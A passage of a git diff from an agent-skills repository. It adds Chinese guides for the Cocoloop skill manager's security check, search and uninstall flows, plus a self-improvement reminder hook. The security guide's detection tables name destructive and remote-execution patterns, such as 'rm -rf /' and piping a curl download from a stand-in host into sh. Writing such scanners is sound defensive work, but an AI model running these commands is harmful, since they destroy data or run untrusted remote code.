- 转换 PDF: 使用 pdf-processor 转换 xxx.pdf 为 docx
|
||||
- 合并 PDF: 使用 pdf-processor 合并 a.pdf b.pdf
|
||||
```
|
||||
383
runtime/skills/cocoloop/references/safety-check-guide.md
Normal file
383
runtime/skills/cocoloop/references/safety-check-guide.md
Normal file
|
|
@ -0,0 +1,383 @@
|
|||
# Cocoloop Safe Check 安全检查流程指南
|
||||
|
||||
本文档详细描述 Cocoloop 安全检查的执行流程,基于 cocoloop-safe-check 安全认证体系。
|
||||
|
||||
## 检查触发时机
|
||||
|
||||
1. **安装前检查**(推荐)
|
||||
- 用户明确请求:"检查 xxx 安全"
|
||||
- 来源为 T3 且用户未使用 --skip-check 参数
|
||||
|
||||
2. **安装后检查**
|
||||
- 安装完成后询问用户是否需要检查
|
||||
|
||||
3. **批量检查**
|
||||
- 检查所有已安装 skills
|
||||
|
||||
## 检查流程概览
|
||||
|
||||
```
|
||||
开始检查
|
||||
↓
|
||||
定位 Skill 来源
|
||||
├── 本地路径 ──→ 读取本地文件
|
||||
├── Skill 名称 ──→ 在安装目录查找
|
||||
├── GitHub 链接 ──→ 下载仓库内容
|
||||
└── URL ──→ 下载内容
|
||||
↓
|
||||
提取所有代码
|
||||
├── SKILL.md 中的代码块
|
||||
├── scripts/ 目录文件
|
||||
├── references/ 目录(检查可执行代码)
|
||||
└── assets/ 目录(检查可执行文件)
|
||||
↓
|
||||
执行六项检查
|
||||
├── 1. 代码安全性
|
||||
├── 2. 数据隐私性
|
||||
├── 3. 执行安全性
|
||||
├── 4. 依赖可靠性
|
||||
├── 5. 边界完整性
|
||||
└── 6. 描述逻辑
|
||||
↓
|
||||
评估来源可信度 (T1/T2/T3)
|
||||
↓
|
||||
计算安全评级 (S+/S/A/B/C/D)
|
||||
↓
|
||||
生成报告 ──→ 询问保存位置 ──→ 保存报告
|
||||
↓
|
||||
评级 <= B? ──是──→ 强烈建议用户注意安全
|
||||
↓
|
||||
完成
|
||||
```
|
||||
|
||||
## 详细检查步骤
|
||||
|
||||
### 第一步:定位 Skill
|
||||
|
||||
根据用户输入确定检查目标:
|
||||
|
||||
| 输入类型 | 处理方式 | 示例 |
|
||||
| ----------- | ------------------ | ---------------------------------------------- |
|
||||
| 本地路径 | 直接读取目录 | `~/.claude/skills/pdf-processor/` |
|
||||
| Skill 名称 | 在平台安装目录查找 | `pdf-processor` |
|
||||
| GitHub 链接 | 解析并下载仓库 | `https://github.com/owner/repo` |
|
||||
| GitHub 短链 | 拼接完整地址 | `owner/repo` → `https://github.com/owner/repo` |
|
||||
|
||||
下载 GitHub 仓库内容:
|
||||
|
||||
1. 获取默认分支:`GET https://api.github.com/repos/{owner}/{repo}` → `default_branch`
|
||||
2. 下载归档:`https://github.com/{owner}/{repo}/archive/{branch}.zip`
|
||||
3. 解压到临时目录
|
||||
|
||||
### 第二步:提取代码
|
||||
|
||||
遍历 skill 目录,提取所有可执行内容:
|
||||
|
||||
**SKILL.md 代码块提取:**
|
||||
|
||||
- 正则匹配:/`(\w+)?\n([\s\S]*?)`/g
|
||||
- 记录语言类型和代码内容
|
||||
- 可执行语言标记:javascript, js, python, py, bash, sh, shell, ruby, rb, php, perl, pl
|
||||
|
||||
**scripts/ 目录:**
|
||||
|
||||
- 列出所有文件
|
||||
- 根据扩展名识别类型:.js, .cjs, .mjs, .py, .sh, .rb, .pl
|
||||
- 读取文件内容
|
||||
|
||||
**references/ 目录:**
|
||||
|
||||
- 检查是否包含可执行代码(按文件扩展名和内容)
|
||||
|
||||
**assets/ 目录:**
|
||||
|
||||
- 检查可执行二进制文件
|
||||
|
||||
### 第三步:六项检查
|
||||
|
||||
#### 3.1 代码安全性检查
|
||||
|
||||
检查危险函数和漏洞模式:
|
||||
|
||||
**D级触发项(一票否决):**
|
||||
|
||||
| 模式 | 描述 | 示例 |
|
||||
| --------------- | -------------------- | ------------------------------ |
|
||||
| `eval\s*\(` | 使用 eval 执行代码 | `eval(userInput)` |
|
||||
| `exec\s*\(` | 使用 exec 执行命令 | `exec(userCommand)` |
|
||||
| `system\s*\(` | 使用 system 执行命令 | `system("rm -rf /")` |
|
||||
| `child_process` | 引入 child_process | `require('child_process')` |
|
||||
| `spawn\s*\(` | 使用 spawn 执行命令 | `spawn('sh', ['-c', cmd])` |
|
||||
| `rm\s+-rf\s+/` | 系统破坏性命令 | `rm -rf /` |
|
||||
| `curl.*\|.*sh` | 管道执行远程脚本 | `curl http://x.com/s.sh \| sh` |
|
||||
| `fetch.*eval` | 下载并执行代码 | `fetch(url).then(r=>eval(r))` |
|
||||
|
||||
**C级触发项:**
|
||||
|
||||
| 模式 | 描述 | 示例 |
|
||||
| -------------- | ---------------------------------- | -------------------------- |
|
||||
| 硬编码密码 | `password\s*=\s*["'][^"']+["']` | `password = "secret123"` |
|
||||
| 硬编码 API Key | `api[_-]?key\s*=\s*["'][^"']+["']` | `api_key = "sk-xxx"` |
|
||||
| 硬编码 Token | `token\s*=\s*["'][^"']+["']` | `token = "ghp_xxx"` |
|
||||
| 硬编码 Secret | `secret\s*=\s*["'][^"']+["']` | `secret = "xxx"` |
|
||||
| 文件删除操作 | `fs\.unlink\s*\(` | `fs.unlink('/etc/passwd')` |
|
||||
| 目录删除操作 | `fs\.rmdir\s*\(` | `fs.rmdir('/system')` |
|
||||
|
||||
#### 3.2 数据隐私性检查
|
||||
|
||||
**D级触发项:**
|
||||
|
||||
- 未经用户确认上传本地文件到远程(T3 来源)
|
||||
- 静默收集密码、密钥等敏感信息
|
||||
- 将敏感数据传输到未加密通道(http 而非 https)
|
||||
|
||||
**C级触发项:**
|
||||
|
||||
- 收集的数据超出功能说明范围
|
||||
- 未明确告知用户数据使用情况
|
||||
|
||||
检查方法:
|
||||
|
||||
- 查找网络请求代码(fetch, axios, request, http.get)
|
||||
- 检查请求目标 URL
|
||||
- 检查请求体是否包含敏感字段名
|
||||
|
||||
#### 3.3 执行安全性检查
|
||||
|
||||
**D级触发项:**
|
||||
|
||||
- 执行 `rm -rf /` 或类似系统破坏性命令
|
||||
- 无确认直接执行系统级危险操作(格式化磁盘、修改系统配置)
|
||||
- 修改系统关键配置且无备份机制
|
||||
|
||||
**C级触发项:**
|
||||
|
||||
- 危险操作缺乏二次确认
|
||||
- 关键操作无回滚机制
|
||||
|
||||
#### 3.4 依赖可靠性检查
|
||||
|
||||
检查是否加载动态代码:
|
||||
|
||||
- 从网络下载并执行代码
|
||||
- 使用 `fetch` 或 `curl` 获取远程脚本并执行
|
||||
- 动态 `import()` 不可信来源的模块
|
||||
- `require()` 远程模块
|
||||
|
||||
**URL 递归检查机制:**
|
||||
|
||||
对于动态加载的可执行文件,实施最多 2 层的 URL 递归检查:
|
||||
|
||||
```
|
||||
第 0 层: Skill 本体代码
|
||||
↓ 发现动态加载 URL
|
||||
第 1 层: 下载并检查第一层动态加载的内容
|
||||
↓ 如发现该层内容仍包含动态加载
|
||||
第 2 层: 下载并检查第二层动态加载的内容
|
||||
↓ 如第 2 层仍包含动态加载
|
||||
终止递归,最高标记为 C 级(多层动态加载风险)
|
||||
```
|
||||
|
||||
**递归检查流程:**
|
||||
|
||||
1. **提取 URL**:从代码中提取所有网络请求目标 URL
|
||||
- `fetch('https://example.com/script.js')`
|
||||
- `curl -o script.sh https://example.com/script.sh`
|
||||
- `import('https://example.com/module.js')`
|
||||
- `require('https://example.com/package')`
|
||||
|
||||
2. **逐层检查**:
|
||||
- **第 1 层**:下载 URL 内容,检查是否为可执行代码
|
||||
- 如果是可执行代码 → 进行安全检查(危险函数、敏感信息等)
|
||||
- 如果包含新的动态加载 URL → 进入第 2 层
|
||||
- **第 2 层**:下载并检查第二层内容
|
||||
- 如果仍包含动态加载 → 标记为 C 级(多层动态加载)
|
||||
- 记录所有发现的 URL 链
|
||||
|
||||
3. **风险评级规则**:
|
||||
- **无动态加载**:正常评级流程
|
||||
- **仅第 1 层动态加载**:根据来源分级处理
|
||||
- **存在第 2 层动态加载**:最高评级为 C 级
|
||||
- **第 2 层后仍有动态加载**:强制标记为 C 级
|
||||
|
||||
**来源分级处理(动态代码):**
|
||||
|
||||
- **T1 来源**:可加载官方动态代码,放宽至 B 级要求
|
||||
- **T2 来源**:动态代码需来源验证,放宽至 C 级要求
|
||||
- **T3 来源**:严格禁止未经验证的动态代码加载
|
||||
|
||||
**多层动态加载示例(C 级):**
|
||||
|
||||
```javascript
|
||||
// Skill 代码(第 0 层)
|
||||
fetch('https://example.com/loader.js'); // 第 1 层
|
||||
|
||||
// loader.js 内容(第 1 层)
|
||||
import('https://another.com/runtime.js'); // 第 2 层
|
||||
|
||||
// runtime.js 内容(第 2 层)
|
||||
fetch('https://third.com/exec.js'); // 第 3 层 → 触发 C 级标记
|
||||
```
|
||||
|
||||
#### 3.5 边界完整性检查
|
||||
|
||||
- 缺乏基本的输入验证(未检查参数类型、范围)
|
||||
- 对异常情况处理不当(try-catch 缺失)
|
||||
- 错误信息泄露敏感信息(堆栈跟踪包含路径、密钥片段)
|
||||
|
||||
#### 3.6 描述逻辑审查
|
||||
|
||||
- 功能描述是否清晰准确
|
||||
- 安全相关行为是否有明确告知
|
||||
- 是否隐瞒潜在风险
|
||||
|
||||
### 第四步:来源可信度评估
|
||||
|
||||
确定 skill 的来源等级:
|
||||
|
||||
**T1 - 官方/顶级来源:**
|
||||
|
||||
- 知名大型技术公司(Google, Microsoft, OpenAI, Anthropic, Meta, AWS)
|
||||
- 顶级开源基金会(Apache, Linux 基金会)
|
||||
- 有官方代码签名
|
||||
|
||||
**T2 - 可信组织来源:**
|
||||
|
||||
- 有实名认证的组织账号
|
||||
- GitHub 组织账号(非个人)
|
||||
- Stars > 1000 或有良好声誉
|
||||
|
||||
**T3 - 社区/个人来源:**
|
||||
|
||||
- 个人开发者账号
|
||||
- 小型社区项目
|
||||
- 来源无法明确验证
|
||||
|
||||
### 第五步:计算评级
|
||||
|
||||
评级判定流程:
|
||||
|
||||
```
|
||||
检查开始
|
||||
↓
|
||||
发现 D 级问题? ──是──→ D 级(一票否决)
|
||||
↓ 否
|
||||
发现 C 级问题? ──是──→ C 级
|
||||
↓ 否
|
||||
满足 S 级要求? ──是──→ S 级
|
||||
↓ 否
|
||||
满足 A 级要求? ──是──→ A 级
|
||||
↓ 否
|
||||
B 级
|
||||
```
|
||||
|
||||
**纯文档型资产**(无代码):
|
||||
| 条件 | 评级 |
|
||||
|------|------|
|
||||
| 无 C/D 级问题 + T1/T2 来源 | **S 级** |
|
||||
| 无 C/D 级问题 + T3 来源 | **A 级** |
|
||||
|
||||
**代码型资产**(有脚本/可执行代码):
|
||||
|
||||
S 级要求(需全部满足):
|
||||
|
||||
1. **来源可信**:T1/T2 来源
|
||||
2. **代码安全**:无危险函数,无注入漏洞
|
||||
3. **依赖可靠**:版本锁定,无动态代码加载,无已知 CVE
|
||||
4. **输入验证**:完善的参数校验和类型检查
|
||||
5. **错误处理**:不暴露敏感信息,有异常处理机制
|
||||
6. **权限最小化**:权限申请与功能匹配,有明确说明
|
||||
7. **数据隐私**:无静默收集,用户可控制数据使用
|
||||
|
||||
A 级要求(需全部满足):
|
||||
|
||||
1. **代码安全**:无危险函数,无注入漏洞
|
||||
2. **依赖可靠**:版本锁定,无动态代码加载,无已知 CVE
|
||||
3. **输入验证**:完善的参数校验和类型检查
|
||||
4. **错误处理**:不暴露敏感信息,有异常处理机制
|
||||
5. **权限最小化**:权限申请与功能匹配,有明确说明
|
||||
6. **数据隐私**:无静默收集,用户可控制数据使用
|
||||
|
||||
(A 级与 S 级的区别在于:S 级要求 T1/T2 来源,A 级允许 T3 来源)
|
||||
|
||||
### 第六步:生成报告
|
||||
|
||||
报告结构:
|
||||
|
||||
```markdown
|
||||
# Cocoloop Safe Check 安全认证报告
|
||||
|
||||
## 基本信息
|
||||
|
||||
- Skill 名称: [名称]
|
||||
- 来源: [GitHub 链接/本地路径]
|
||||
- 来源等级: [T1/T2/T3]
|
||||
|
||||
## 评级结果
|
||||
|
||||
评级: [S+/S/A/B/C/D]
|
||||
评价: [一句话评价]
|
||||
|
||||
## 检查依据
|
||||
|
||||
### ✅ 通过项
|
||||
|
||||
- [检查项]
|
||||
|
||||
### ⚠️ 注意事项
|
||||
|
||||
- [注意事项]
|
||||
|
||||
### ❌ 问题项
|
||||
|
||||
- [问题项]
|
||||
|
||||
## 详细检查结果
|
||||
|
||||
[各维度详细检查结果]
|
||||
|
||||
## 使用建议
|
||||
|
||||
[推荐使用场景和安全使用指南]
|
||||
```
|
||||
|
||||
## 报告保存流程
|
||||
|
||||
1. **询问用户保存位置**
|
||||
- 选项:桌面 / 下载文件夹 / 当前工作目录 / 指定路径 / 只展示不保存
|
||||
|
||||
2. **根据选择保存**
|
||||
- 文件名格式:`Cocoloop-认证-{skill-name}-{评级}-报告.md`
|
||||
|
||||
3. **展示结果摘要**
|
||||
|
||||
## 使用建议生成
|
||||
|
||||
根据评级生成使用建议:
|
||||
|
||||
**S+/S 级:**
|
||||
|
||||
- 可放心使用
|
||||
- 推荐用于生产环境
|
||||
|
||||
**A 级:**
|
||||
|
||||
- 代码安全,可正常使用
|
||||
- 建议了解作者背景
|
||||
|
||||
**B 级:**
|
||||
|
||||
- 无显著安全问题,但有改进空间
|
||||
- 建议阅读代码后再使用
|
||||
|
||||
**C 级:**
|
||||
|
||||
- 存在潜在安全问题
|
||||
- 建议在隔离环境测试后再使用
|
||||
- 不建议用于处理敏感数据
|
||||
|
||||
**D 级:**
|
||||
|
||||
- 存在严重安全问题
|
||||
- 强烈建议不要使用
|
||||
- 如需使用,必须在完全隔离的环境中
|
||||
254
runtime/skills/cocoloop/references/search-guide.md
Normal file
254
runtime/skills/cocoloop/references/search-guide.md
Normal file
|
|
@ -0,0 +1,254 @@
|
|||
# Skill 搜索流程详细指南
|
||||
|
||||
本文档详细描述 Cocoloop 的多源搜索机制。
|
||||
|
||||
## 搜索源优先级
|
||||
|
||||
1. **Cocoloop API** - 官方技能仓库(优先)
|
||||
2. **GitHub API** - 开源社区(fallback)
|
||||
3. **本地缓存** - 已下载的 skill 信息(辅助)
|
||||
|
||||
## Cocoloop API 搜索
|
||||
|
||||
### 请求格式
|
||||
|
||||
```
|
||||
GET https://api.cocoloop.cn/search={encoded_query}
|
||||
```
|
||||
|
||||
### 请求头
|
||||
|
||||
```
|
||||
User-Agent: Cocoloop-Skill-Manager/1.0
|
||||
Accept: application/json
|
||||
```
|
||||
|
||||
### 响应格式
|
||||
|
||||
```json
|
||||
{
|
||||
"results": [
|
||||
{
|
||||
"name": "skill-name",
|
||||
"displayName": "Skill Display Name",
|
||||
"description": "Skill description",
|
||||
"url": "https://skills.cocoloop.cn/skill-name/v1.0.0.skill",
|
||||
"version": "1.0.0",
|
||||
"author": "author-name",
|
||||
"authorUrl": "https://github.com/author",
|
||||
"license": "MIT",
|
||||
"downloads": 1500,
|
||||
"rating": "S",
|
||||
"tags": ["pdf", "document"],
|
||||
"updatedAt": "2024-01-15T10:30:00Z"
|
||||
}
|
||||
],
|
||||
"total": 10,
|
||||
"page": 1,
|
||||
"perPage": 20
|
||||
}
|
||||
```
|
||||
|
||||
### 处理逻辑
|
||||
|
||||
1. 发送请求
|
||||
2. 解析 JSON 响应
|
||||
3. 过滤结果(匹配度排序)
|
||||
4. 返回前 10 个结果
|
||||
|
||||
## GitHub API 搜索
|
||||
|
||||
### 请求格式
|
||||
|
||||
```
|
||||
GET https://api.github.com/search/repositories?q={query}+filename:SKILL.md&sort=stars&order=desc&per_page=10
|
||||
```
|
||||
|
||||
### 搜索查询构建
|
||||
|
||||
基础查询:`{query} filename:SKILL.md`
|
||||
|
||||
可选追加:
|
||||
- `+language:javascript` - 限定语言
|
||||
- `+stars:>10` - 限定 stars 数
|
||||
- `+topic:claude-skill` - 限定 topic
|
||||
|
||||
### 响应处理
|
||||
|
||||
原始响应字段映射:
|
||||
|
||||
```javascript
|
||||
{
|
||||
name: item.name, // 仓库名
|
||||
fullName: item.full_name, // 完整名 owner/repo
|
||||
description: item.description, // 描述
|
||||
url: item.html_url, // GitHub 页面
|
||||
stars: item.stargazers_count, // stars 数
|
||||
forks: item.forks_count, // forks 数
|
||||
language: item.language, // 主要语言
|
||||
updatedAt: item.updated_at, // 更新时间
|
||||
owner: {
|
||||
name: item.owner.login, // 所有者名
|
||||
type: item.owner.type, // 'User' 或 'Organization'
|
||||
avatar: item.owner.avatar_url // 头像 URL
|
||||
},
|
||||
license: item.license?.name, // 许可证
|
||||
topics: item.topics // 标签数组
|
||||
}
|
||||
```
|
||||
|
||||
### 结果过滤与排序
|
||||
|
||||
过滤条件:
|
||||
1. 仓库名或描述包含查询词
|
||||
2. 不是 fork 的仓库(可选)
|
||||
3. 最近 2 年有更新(可选)
|
||||
|
||||
排序规则:
|
||||
1. 组织账号优先于个人账号
|
||||
2. stars 数高优先
|
||||
3. 最近更新优先
|
||||
|
||||
### 展示格式
|
||||
|
||||
```
|
||||
🐙 GitHub 搜索结果 (按 stars 排序):
|
||||
|
||||
1. company/skill-name ⭐ 1.2k
|
||||
🏢 Organization | MIT License
|
||||
📄 PDF processing and manipulation tools
|
||||
🏷️ pdf, document, converter
|
||||
|
||||
2. user/another-skill ⭐ 45
|
||||
👤 User | Apache-2.0
|
||||
📄 Simple PDF utilities
|
||||
🏷️ pdf, utils
|
||||
|
||||
3. ...
|
||||
```
|
||||
|
||||
## 综合搜索流程
|
||||
|
||||
当用户搜索时,执行以下流程:
|
||||
|
||||
```
|
||||
并行执行:
|
||||
├── Cocoloop API 搜索 ──────→ 结果 A
|
||||
└── GitHub API 搜索 ────────→ 结果 B
|
||||
|
||||
合并结果:
|
||||
1. 优先展示 Cocoloop 结果(官方源)
|
||||
2. 然后展示 GitHub 结果(社区源)
|
||||
3. 去重(相同 fullName 只保留一个)
|
||||
|
||||
展示:
|
||||
- 最多展示 10 个结果(可配置)
|
||||
- 标注来源(🌟 Cocoloop / 🐙 GitHub)
|
||||
- 显示关键信息(名称、描述、stars、来源类型)
|
||||
```
|
||||
|
||||
## 获取 Skill 详情
|
||||
|
||||
当用户选择某个 skill 后,获取详细信息:
|
||||
|
||||
### 对于 Cocoloop 源
|
||||
|
||||
直接读取 API 返回的完整信息。
|
||||
|
||||
### 对于 GitHub 源
|
||||
|
||||
1. **获取仓库详情**
|
||||
```
|
||||
GET https://api.github.com/repos/{owner}/{repo}
|
||||
```
|
||||
|
||||
2. **获取 SKILL.md 内容**
|
||||
```
|
||||
GET https://api.github.com/repos/{owner}/{repo}/contents/SKILL.md
|
||||
```
|
||||
响应中的 `content` 字段是 base64 编码的,需要解码。
|
||||
|
||||
3. **解析 SKILL.md**
|
||||
- 提取 frontmatter(name, description)
|
||||
- 提取前 500 字作为预览
|
||||
|
||||
4. **获取最新 release(可选)**
|
||||
```
|
||||
GET https://api.github.com/repos/{owner}/{repo}/releases/latest
|
||||
```
|
||||
|
||||
### 详情展示格式
|
||||
|
||||
```
|
||||
📋 Skill 详情
|
||||
|
||||
名称: pdf-processor
|
||||
版本: 1.0.0
|
||||
来源: 🐙 GitHub (Organization)
|
||||
⭐ Stars: 1250 | 🍴 Forks: 45
|
||||
📄 许可证: MIT
|
||||
🏷️ 标签: pdf, document, converter
|
||||
|
||||
描述:
|
||||
Advanced PDF processing and manipulation tools. Supports conversion,
|
||||
merging, splitting, and encryption.
|
||||
|
||||
SKILL.md 预览:
|
||||
---
|
||||
name: pdf-processor
|
||||
description: PDF processing skill...
|
||||
---
|
||||
# PDF Processor
|
||||
This skill provides tools for working with PDF files...
|
||||
|
||||
来源可信度: T2 (可信组织)
|
||||
安全评级: 待检查
|
||||
|
||||
是否安装此 skill? [Y/n]
|
||||
```
|
||||
|
||||
## 本地缓存搜索
|
||||
|
||||
为了提高重复搜索的速度,维护本地缓存:
|
||||
|
||||
### 缓存位置
|
||||
|
||||
`~/.cocoloop/cache/search.json`
|
||||
|
||||
### 缓存格式
|
||||
|
||||
```json
|
||||
{
|
||||
"query": "pdf",
|
||||
"timestamp": "2024-01-15T10:30:00Z",
|
||||
"results": [...],
|
||||
"expires": "2024-01-16T10:30:00Z"
|
||||
}
|
||||
```
|
||||
|
||||
### 缓存策略
|
||||
|
||||
- 缓存有效期:24 小时
|
||||
- 命中缓存时,询问用户是否使用缓存结果
|
||||
- 提供 `--fresh` 或 `-f` 参数强制刷新
|
||||
|
||||
## 错误处理
|
||||
|
||||
| 错误场景 | 处理方式 |
|
||||
|---------|---------|
|
||||
| Cocoloop API 超时 | 自动 fallback 到 GitHub |
|
||||
| GitHub API 限流 | 提示用户稍后重试,或使用本地缓存 |
|
||||
| 网络错误 | 显示错误信息,建议使用离线模式(如果有缓存)|
|
||||
| 解析错误 | 记录日志,跳过该结果,继续其他 |
|
||||
|
||||
## 高级搜索语法
|
||||
|
||||
支持以下搜索修饰符:
|
||||
|
||||
| 修饰符 | 含义 | 示例 |
|
||||
|-------|------|------|
|
||||
| `author:` | 限定作者 | `author:anthropic pdf` |
|
||||
| `lang:` | 限定语言 | `lang:javascript tool` |
|
||||
| `stars:>n` | stars 数大于 | `stars:>100 utility` |
|
||||
| `source:cocoloop` | 仅官方源 | `source:cocoloop document` |
|
||||
| `source:github` | 仅 GitHub | `source:github utility` |
|
||||
163
runtime/skills/cocoloop/references/uninstall-guide.md
Normal file
163
runtime/skills/cocoloop/references/uninstall-guide.md
Normal file
|
|
@ -0,0 +1,163 @@
|
|||
# Skill 卸载流程详细指南
|
||||
|
||||
本文档详细描述 skill 的卸载流程。
|
||||
|
||||
## 卸载前准备
|
||||
|
||||
### 1. 检测平台
|
||||
|
||||
使用与安装相同的平台检测逻辑:
|
||||
|
||||
```
|
||||
IF OpenClaw:
|
||||
安装目录 = ~/.openclaw/skills/
|
||||
配置文件 = ~/.openclaw/config.json
|
||||
|
||||
ELSE IF Molili:
|
||||
安装目录 = ~/.molili/skills/
|
||||
配置文件 = ~/.molili/config.json
|
||||
|
||||
ELSE IF Claude Code:
|
||||
安装目录 = ~/.claude/skills/
|
||||
配置文件 = ~/.claude/config.json
|
||||
|
||||
ELSE:
|
||||
安装目录 = ~/.claude/skills/ (clawhub 默认)
|
||||
配置文件 = ~/.claude/config.json
|
||||
```
|
||||
|
||||
### 2. 确认 Skill 存在
|
||||
|
||||
检查 skill 目录是否存在:
|
||||
|
||||
```
|
||||
{安装目录}/{skill-name}/
|
||||
├── SKILL.md
|
||||
├── scripts/
|
||||
├── references/
|
||||
└── assets/
|
||||
```
|
||||
|
||||
如果不存在:
|
||||
- 返回错误 "未找到该 skill,可能已卸载或名称错误"
|
||||
- 建议用户使用 `list` 命令查看已安装 skills
|
||||
|
||||
### 3. 获取 Skill 信息
|
||||
|
||||
读取 SKILL.md 获取基本信息:
|
||||
- name
|
||||
- description
|
||||
- version(如果有)
|
||||
|
||||
## 卸载流程
|
||||
|
||||
### 第一步:用户确认
|
||||
|
||||
展示将要卸载的 skill 信息,请求确认:
|
||||
|
||||
```
|
||||
⚠️ 即将卸载以下 skill:
|
||||
|
||||
名称: pdf-processor
|
||||
描述: PDF processing and manipulation tools
|
||||
安装路径: ~/.claude/skills/pdf-processor/
|
||||
|
||||
⚠️ 此操作将删除该 skill 的所有文件,不可恢复。
|
||||
|
||||
是否确认卸载? [y/N]
|
||||
```
|
||||
|
||||
可选:添加 `--force` 或 `-f` 参数跳过确认。
|
||||
|
||||
### 第二步:备份(可选)
|
||||
|
||||
如果用户指定 `--backup` 或 `-b` 参数:
|
||||
|
||||
1. 创建备份目录:`~/.cocoloop/backups/`
|
||||
2. 打包 skill 目录:`tar -czf ~/.cocoloop/backups/{skill-name}-{timestamp}.tar.gz {skill-path}/`
|
||||
3. 提示备份位置
|
||||
|
||||
### 第三步:执行卸载
|
||||
|
||||
1. **删除 skill 目录**
|
||||
```bash
|
||||
rm -rf {安装目录}/{skill-name}/
|
||||
```
|
||||
|
||||
2. **更新平台配置(如果需要)**
|
||||
- 某些平台维护已安装 skill 列表
|
||||
- 从列表中移除该 skill
|
||||
|
||||
3. **清理相关缓存**
|
||||
- 删除 Cocoloop 本地缓存中该 skill 的搜索记录
|
||||
- 删除安全检查缓存(如果有)
|
||||
|
||||
### 第四步:验证卸载
|
||||
|
||||
检查 skill 目录是否还存在:
|
||||
- 如果存在 → 返回错误 "卸载失败,请检查权限或手动删除"
|
||||
- 如果不存在 → 卸载成功
|
||||
|
||||
## 批量卸载
|
||||
|
||||
支持一次卸载多个 skills:
|
||||
|
||||
```
|
||||
卸载 skill1 skill2 skill3
|
||||
```
|
||||
|
||||
处理流程:
|
||||
1. 遍历每个 skill
|
||||
2. 执行单个卸载流程(不询问确认,或统一确认)
|
||||
3. 汇总结果:
|
||||
```
|
||||
📊 卸载结果:
|
||||
skill1: ✅ 已卸载
|
||||
skill2: ❌ 未找到
|
||||
skill3: ✅ 已卸载
|
||||
```
|
||||
|
||||
## 卸载后处理
|
||||
|
||||
### 依赖检查(可选)
|
||||
|
||||
检查是否有其他 skill 依赖被卸载的 skill:
|
||||
1. 遍历所有已安装 skills
|
||||
2. 检查它们的 dependencies(如果有记录)
|
||||
3. 如果有依赖关系,警告用户:
|
||||
```
|
||||
⚠️ 警告: 以下 skill 可能依赖 pdf-processor:
|
||||
- document-workflow
|
||||
|
||||
继续使用这些 skill 可能会出现问题。
|
||||
```
|
||||
|
||||
### 清理孤立依赖(高级)
|
||||
|
||||
如果 skill 安装了独立的依赖(如 node_modules),检查是否可以清理:
|
||||
- 如果其他 skill 不使用 → 可以删除
|
||||
- 如果有共享依赖 → 保留
|
||||
|
||||
## 错误处理
|
||||
|
||||
| 错误场景 | 处理方式 |
|
||||
|---------|---------|
|
||||
| 权限不足 | 提示使用 `sudo` 或检查目录权限 |
|
||||
| 文件被占用 | 提示关闭使用该 skill 的程序后重试 |
|
||||
| 目录非空但无法删除 | 保留日志,提示手动删除 |
|
||||
| 配置文件损坏 | 尝试修复或重建配置 |
|
||||
|
||||
## 恢复卸载
|
||||
|
||||
如果用户误卸载,提供恢复选项(前提是备份存在):
|
||||
|
||||
```
|
||||
恢复 pdf-processor
|
||||
```
|
||||
|
||||
流程:
|
||||
1. 查找备份目录:`~/.cocoloop/backups/pdf-processor-*.tar.gz`
|
||||
2. 列出可用备份(按时间排序)
|
||||
3. 询问用户选择恢复哪个版本
|
||||
4. 解压到安装目录
|
||||
5. 验证恢复
|
||||
|
|
@ -1,31 +0,0 @@
|
|||
---
|
||||
name: coding
|
||||
description: 研发实现技能,负责代码实现、缺陷修复与验证闭环。
|
||||
user-invocable: true
|
||||
disable-model-invocation: false
|
||||
metadata:
|
||||
oclaw:
|
||||
role: specialist
|
||||
owner: workspace-coding
|
||||
focus:
|
||||
- implement
|
||||
- refactor
|
||||
- test
|
||||
---
|
||||
|
||||
# Coding Skill(研发实现)
|
||||
|
||||
## 适用场景
|
||||
- 新功能开发、缺陷修复、重构和性能优化。
|
||||
- 需要定位报错、复现问题并给出稳定修复方案。
|
||||
- 需要输出可合并、可验证、可回滚的代码结果。
|
||||
|
||||
## 工作方法
|
||||
1. 先复现问题,明确预期行为。
|
||||
2. 设计最小改动方案,控制影响面。
|
||||
3. 实施修改并运行相关测试。
|
||||
4. 提供变更说明、验证结果和残余风险。
|
||||
|
||||
## 输出要求
|
||||
- 必须包含:改了什么、为什么、怎么验证、还有什么风险。
|
||||
- 避免顺手混改无关逻辑。
|
||||
|
|
@ -1,27 +0,0 @@
|
|||
---
|
||||
name: main
|
||||
description: 主编排技能,负责任务分派、验收与汇总输出。
|
||||
user-invocable: true
|
||||
disable-model-invocation: false
|
||||
metadata:
|
||||
oclaw:
|
||||
role: orchestrator
|
||||
owner: workspace-main
|
||||
---
|
||||
|
||||
# Main Skill(主编排)
|
||||
|
||||
## 适用场景
|
||||
- 用户需求跨多个领域,需要拆分给不同 specialist。
|
||||
- 需要统一汇总 coding/social/ops 的结果并给出最终结论。
|
||||
- 任务存在风险或不确定性,需要先做边界判断。
|
||||
|
||||
## 工作方法
|
||||
1. 明确目标与验收标准。
|
||||
2. 分派子任务并约束交付格式。
|
||||
3. 基于证据做一致性检查。
|
||||
4. 输出结论、影响、验证状态和下一步建议。
|
||||
|
||||
## 输出要求
|
||||
- 先结论,后依据,最后行动项。
|
||||
- 如果有风险,明确风险等级与回滚思路。
|
||||
85
runtime/skills/self-improvement/hooks/runtime/handler.py
Normal file
85
runtime/skills/self-improvement/hooks/runtime/handler.py
Normal file
|
|
@ -0,0 +1,85 @@
|
|||
from __future__ import annotations
|
||||
|
||||
from typing import Any
|
||||
|
||||
REMINDER_NAME = "SELF_IMPROVEMENT_REMINDER.md"
|
||||
REMINDER_PATH = REMINDER_NAME
|
||||
|
||||
REMINDER_CONTENT = """## Self-Improvement Reminder
|
||||
|
||||
After completing tasks, evaluate whether any learnings should be captured.
|
||||
|
||||
Only log if this repo or workspace is using the self-improvement skill.
|
||||
|
||||
Before logging:
|
||||
- Create only missing `.learnings/` files; never overwrite existing content
|
||||
- Do not log secrets, tokens, private keys, environment variables, or raw transcripts
|
||||
- Prefer short summaries or redacted excerpts over full command output
|
||||
|
||||
**Log when:**
|
||||
- User corrects you → `.learnings/LEARNINGS.md`
|
||||
- Command/operation fails → `.learnings/ERRORS.md`
|
||||
- User wants missing capability → `.learnings/FEATURE_REQUESTS.md`
|
||||
- You discover your knowledge was wrong → `.learnings/LEARNINGS.md`
|
||||
- You find a better approach → `.learnings/LEARNINGS.md`
|
||||
|
||||
**Promote when pattern is proven:**
|
||||
- Behavioral patterns → `SOUL.md`
|
||||
- Workflow improvements → `AGENTS.md`
|
||||
- Tool gotchas → `TOOLS.md`
|
||||
|
||||
Keep entries simple: date, title, what happened, and what to do differently."""
|
||||
|
||||
|
||||
